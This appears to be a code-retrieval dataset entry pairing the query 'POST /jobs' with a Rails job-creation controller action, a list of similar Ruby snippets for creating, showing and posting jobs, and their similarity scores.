"def new\n @quartz = Quartz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quartz }\n end\n end",
"def new\n @work = Work.new\n \n @title = \"New work\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @work }\n end\n end",
"def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @training_active_job = Training::ActiveJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully created. Now select the appropriate permissions.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @new_job = Job.new\n # Authorizes the correct user to access new job page\n authorize @new_job\n end",
"def new\n @job = Job.new\n if current_user and default_queue = current_user.preferences.find_by_kind('default_queue') then @job.jobs_queue_id = default_queue.value end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @versioned_jnlp = MavenJnlp::VersionedJnlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp }\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n @job = Job.new\n end",
"def new\n @job_application_status_type = JobApplicationStatusType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application_status_type }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def new\n @job_category = JobCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_category }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def new\n @job = current_user.jobs.new\n end",
"def new\n @job_application_attachment = JobApplicationAttachment.new\n @job_applications = JobApplication.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application_attachment }\n end\n end",
"def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if (@job.nodes << @node)\n flash[:notice] = 'Node was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @photo_job = PhotoJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo_job }\n end\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend"
] |
[
"0.77082497",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.7629433",
"0.75773835",
"0.7474243",
"0.7435303",
"0.7314147",
"0.7284292",
"0.712693",
"0.7091252",
"0.7091252",
"0.7058218",
"0.7058218",
"0.7058218",
"0.7058218",
"0.7012252",
"0.70016557",
"0.69809306",
"0.68777996",
"0.6870768",
"0.6855383",
"0.68524647",
"0.6799257",
"0.6794214",
"0.6786267",
"0.6717227",
"0.67053974",
"0.6705069",
"0.6705069",
"0.6705069",
"0.6705069",
"0.6702683",
"0.66251665",
"0.6614013",
"0.6602051",
"0.65813226",
"0.657813",
"0.65601945",
"0.6547495",
"0.6516995",
"0.6510878",
"0.65079445",
"0.64974314",
"0.6495942",
"0.6488237",
"0.6413939",
"0.6409796",
"0.6388854",
"0.63824433",
"0.6377577",
"0.6353804",
"0.63479507",
"0.633865",
"0.63251096",
"0.6319165",
"0.63126713",
"0.6301728",
"0.62981683",
"0.62960017",
"0.6270267",
"0.6270151",
"0.6254958",
"0.6229954",
"0.62237954",
"0.6223424",
"0.62159044",
"0.62103164",
"0.6195776",
"0.6192492",
"0.6172328",
"0.6155242",
"0.61533326",
"0.6151084",
"0.6146871",
"0.61412954",
"0.6140325",
"0.61360395",
"0.61296594",
"0.61243165",
"0.6118839",
"0.6105086",
"0.6096065",
"0.6095076",
"0.6095076",
"0.6095076",
"0.6095076",
"0.6095076",
"0.6095076",
"0.6095076",
"0.609145",
"0.6086358",
"0.60830253",
"0.6082178"
] |
0.6432218
|
52
|
POST /jobs POST /jobs.xml
|
def create
@job = Job.new(params[:job])
#@job.supplier_id = params[:supplier_id]
#supplier = @job.supplier
respond_to do |format|
if @job.save
format.html { redirect_to(params[:job][:job_id].present? ? supplier_job_path(params[:supplier_id], params[:job][:job_id]) : supplier_jobs_url(params[:supplier_id]), :notice => 'Job was successfully created.') }
format.xml { render :xml => @job, :status => :created, :location => @job }
else
format.html { render :action => "new" }
format.xml { render :xml => @job.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_job xml, name\n\t\t\tputs \"==> Creating job for project: '#{name}'\"\n\t\t\tbegin\n\t\t\t\tcreate_response = RestClient.post \"#{@jenkins_host}:#{@jenkins_port}/createItem/?name=#{name}\", xml , {:content_type => :xml}\n\t\t\t\treturn create_response.code.to_s\n\t\t\trescue Exception => e\n\t\t\t\tputs \"==> Error creating job #{name}\"\n\t\t\t\treturn \"500\"\n\t\t\tend\n\t\tend",
"def create_jenkins_job(name, xml_file)\n create_url = \"http://#{Pkg::Config.jenkins_build_host}/createItem?name=#{name}\"\n form_args = [\"-H\", '\"Content-Type: application/xml\"', \"--data-binary\", \"@#{xml_file}\"]\n curl_form_data(create_url, form_args)\n \"http://#{Pkg::Config.jenkins_build_host}/job/#{name}\"\nend",
"def start_job\n associate(Wesabe::Job.from_xml(Hpricot::XML(post(:url => \"/credentials/#{id}/jobs.xml\")) / :job))\n end",
"def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_job(job:, params: {})\n response = HTTParty.post(\"#{@host}/api/jobs\", body: {job: job, api_key: @api_key}.merge(params))\n \n return response\n end",
"def jobs\n doc = Nokogiri::XML open(@url)\n\n doc.search('//job').map { |node|\n Job.new(attributes_from(node))\n }\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to verify_job_url(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"def create\n arg = params[:email]\n counter = Job.enqueue(arg)\n render :status => :accepted, :json => { jobId: counter }\n end",
"def jobs\n\t\t# ...\n\tend",
"def build_jobs_url\n \"http://#{host_name}:#{port}/jobs\"\n end",
"def create_batch_job(job_id)\n request = Net::HTTP::Put.new(\"/jobs/#{job_id}\")\n response = http.request(request)\n handle_response({ request_method: request.method, request_path: request.path }, response)\n end",
"def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(job_params)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join('; ')}\" unless job.valid?\n\n job_to_send = job.to_hash(destination: 'oar-2.4-submission')\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n result = @oarapi.create_job(job_to_send)\n\n job_uid = JSON.parse(result)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.includes(:job_types, :job_events, :gantt).find(job_uid)\n job.links = links_for_item(job)\n\n render_opts = {\n methods: %i[resources_by_type assigned_nodes],\n location: location_uri,\n status: 201\n }\n render_result(job, render_opts)\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if (@job.nodes << @node)\n flash[:notice] = 'Node was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n JobsWorker.perform_async(@job.id, @job.server.id)\n flash[:success] = 'Job was successfully created.'\n format.html { redirect_to jobs_path }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = 'Please fill all fields correctly !!'\n format.html { redirect_to root_url }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n createJobWithDefaults\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n @job = Job.new(params[:job].reject{|key, value| key == 'jobs_queue_id'})\n @job.user = current_user\n\n respond_to do |format|\n if @job.save\n if @job.r_script.tags.collect{|tag| tag.name}.include?('install script')\n @job.pending \n elsif queue = JobsQueue.find_by_id(params[:job][:jobs_queue_id].to_i) \n @job.submit(queue) \n end\n create_log_entry(@job.r_script, @job, 'use')\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }), :status => :created, :location => @job }\n else\n @job.jobs_queue_id = params[:job][:jobs_queue_id]\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(payload)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join(\"; \")}\" unless job.valid?\n job_to_send = job.to_hash(:destination => \"oar-2.4-submission\")\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n url = uri_to(\n site_path(params[:site_id])+\"/internal/oarapi/jobs.json\", :out\n )\n http = EM::HttpRequest.new(url).post(\n :timeout => 20,\n :body => job_to_send.to_json,\n :head => {\n 'X-Remote-Ident' => @credentials[:cn],\n 'Content-Type' => media_type(:json),\n 'Accept' => media_type(:json)\n }\n )\n continue_if!(http, :is => [201,202])\n\n job_uid = JSON.parse(http.response)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.find(\n job_uid,\n :include => [:job_types, :job_events, :gantt]\n )\n job.links = links_for_item(job)\n \n render_opts = {\n :methods => [:resources_by_type, :assigned_nodes],\n :location => location_uri,\n :status => 201\n }\n respond_to do |format|\n format.g5kitemjson { render render_opts.merge(:json => job) }\n format.json { render render_opts.merge(:json => job) }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @items_print_job = ItemsPrintJob.new(params[:items_print_job])\n\n respond_to do |format|\n if @items_print_job.save\n format.html { redirect_to(@items_print_job, :notice => 'Items print job was successfully created.') }\n format.xml { render :xml => @items_print_job, :status => :created, :location => @items_print_job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @items_print_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully created. Now select the appropriate permissions.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tjob = Job.new\n\t\tjob.user_id = current_user.id\n\t\tjob.http_method \t= params[:http_method]\n\t\tjob.http_uri \t\t= params[:http_uri]\n\t\tjob.http_host \t\t= params[:http_host]\n\t\tjob.http_headers\t= params[:http_headers]\n\t\tjob.http_data\t\t= params[:http_data]\n\n\t\t# Set job type to bruteforce by default. This will change, but\n\t\t# for now we don't care about responses.\n\t\tjob.attack_type\t\t\t= \"repeat\"\n\n\t\t# Set status to pending by default -- this may change in future\n\t\tjob.status \t\t\t= \"pending\"\n\n\t\tjob.save\n\n\t\trender :json => job.to_json\n\tend",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n\t\t# send mail now or later...\n\t\tBackground.instance.delay.sendLater(@job)\n\t \n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def submit_batch_job(job_id)\n request_path = \"/jobs/#{job_id}/queue\"\n request_body = \"submit\"\n response = http.request_post(request_path, request_body)\n handle_response({ request_method: 'POST', request_path: request_path, request_body: request_body }, response)\n end",
"def create\n @job = Job.new(params[:job])\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n\n @job.user_id = current_user.id\n @job.status = 0 #job is initially inactive untill payment is processed\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n #format.html { redirect_to(user_jobs_list_by_status_url(current_user.id,\"open\")) }\n format.html {redirect_to invest_funds_job_path(@job)}\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n printer_ids = JSON.parse(job_params[:printer])\n\n printers = Printer.where(id: printer_ids)\n\n job_params_fixed = job_params\n\n job_params_fixed[:printer] = nil\n\n\n printers.each do |printer|\n\n @job = Job.new(job_params_fixed)\n\n @job.printer = printer\n\n @job.status = \"Unassigned\"\n @job.save\n end\n\n redirect_to root_path\n\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.new(job_params)\n respond_to do |format|\n if @job.save\n \ttrack_activity @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getJobApi (options)\n uri = options[:job] + \"?depth=\" + options[:depth].to_s\n job_uri = URI.parse(uri)\n http = Net::HTTP.new(job_uri.host, job_uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(job_uri.request_uri)\n request.basic_auth @username, @password\n response = http.request(request)\n job_xml=XmlSimple.xml_in(response.body)\n return job_xml\n end",
"def jobs\r\n end",
"def create\n @job = Job.new(params[:job])\n\t\[email protected] = current_user\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job Proposal successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def request(name,job)\n rz_send(service_socket(name),[JSON.dump(job)])\n self\n end",
"def do_submit\n @job = Job.find(params[:id])\n @queue = JobsQueue.find_by_id(params[:job][:jobs_queue_id]) || JobsQueue.default_queue\n respond_to do |format|\n if @job.submit(@queue)\n flash[:notice] = 'Job was successfully submitted.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @nodes = @job.nodes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n format.json { render :json => @nodes }\n end\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create(options = {})\n res = self.post \"/translate/jobs\", :body => options\n check_for_errors(res)\n res['response']\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_runner }\n end\n end",
"def job_params\n params.require(:job).permit(:document, :copies, :configuration, :status, :printer, :description)\n end",
"def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @job_runner.save\n format.html { redirect_to(@job_runner, :notice => 'Job runner was successfully created.') }\n format.xml { render :xml => @job_runner, :status => :created, :location => @job_runner }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_runner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @postjob = Postjob.new(postjob_params)\n\n respond_to do |format|\n if @postjob.save\n format.html { redirect_to @postjob, notice: 'Postjob was successfully created.' }\n format.json { render :show, status: :created, location: @postjob }\n else\n format.html { render :new }\n format.json { render json: @postjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_job(job)\n begin\n response = RestClient::Request.execute(\n method: :post,\n url: build_jobs_url,\n payload: job.to_codem_json,\n timeout: EBU::NETWORK_TIMEOUT,\n open_timeout: EBU::NETWORK_TIMEOUT\n )\n if response.code == 202\n if (obj = JSON.parse(response.to_str))\n obj[\"job_id\"]\n else\n raise \"Job #{job.id} was created on transcoder #{self.id}, but no job ID was returned.\"\n end\n else\n nil\n end\n rescue Timeout::Error => e\n nil\n rescue => e\n nil\n end\n end",
"def job_params\n params.require(:job).permit(:name, :client_id, :description, :quantity, :datein, :duedate, :completeper, :expectedin, :completed, :status, :comment)\n end",
